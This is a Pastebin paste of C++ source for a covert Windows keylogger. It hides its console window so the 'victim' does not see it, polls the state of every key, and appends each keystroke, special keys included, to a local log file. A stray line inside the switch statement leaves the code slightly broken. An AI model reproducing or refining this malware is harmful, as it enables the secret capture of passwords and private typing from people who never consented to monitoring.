Advertisement
Guest User

rwqqwr

a guest
Apr 2nd, 2020
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.84 KB | None | 0 0
  1. #include <string>
  2. #include <Windows.h>
  3. #include <fstream>
  4.  
  5. using std::fstream;
  6. using std::ofstream;
  7.  
  8. void WriteData(std::string Text) {
  9. ofstream LogFile;
  10. LogFile.open("__logs.txt", fstream::app);
  11. LogFile << Text;
  12. LogFile.close();
  13. }
  14.  
  15. void Stealth() { //Done to not show the comand prompt for the victim ;)
  16. HWND hWnd;
  17. AllocConsole();
  18. hWnd = FindWindowA("ConsoleWindowClass", 0);
  19. ShowWindow(hWnd, 0);
  20. }
  21.  
  22.  
  23. bool isKeyListed(int vKey) { //Check For Special Keys
  24. switch (vKey) {
  25. case VK_RETURN: //Space
  26. WriteData(" **enter** ");
  27. break;
  28. case VK_BACK:
  29. WriteData(" **backspace** ");
  30. break;
  31. case VK_SPACE:
  32. WriteData(" **spacebar** ");
  33. break;
  34. case VK_SHIFT:
  35. WriteData(" **shift** ");
  36. break;
  37. case VK_OEM_PERIOD:
  38. WriteData(" **point**");
  39. break;
  40. case VK_CAPITAL:
  41. WriteData(" **capital** ");
  42. break;
  43. case VK_LSHIFT:
  44. WriteData(" **leftShift** ");
  45. break;
  46. case VK_RSHIFT:
  47. WriteData(" **rightShift** ");
  48. break;
  49. case VK_TAB:
  50. WriteData(" **tab** ");
  51. break;
  52. @donTtouchMySpaget@
  53. default: return false;
  54. }
  55. }
  56.  
  57. int main()
  58. {
  59.  
  60. Stealth();
  61. char key;
  62. while (1)
  63. {
  64. for (key = 0; key <= 255; key++)
  65. {
  66. if (GetAsyncKeyState(key) & 0x0001)
  67. {
  68. if (isKeyListed(key) == 0)
  69. {
  70. ofstream LogFile;
  71. LogFile.open("__logs.txt", fstream::app);
  72. LogFile << key;
  73. LogFile.close();
  74. Sleep(100);
  75. }
  76. }
  77. }
  78. }
  79.  
  80.  
  81.  
  82.  
  83. return 0;
  84. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement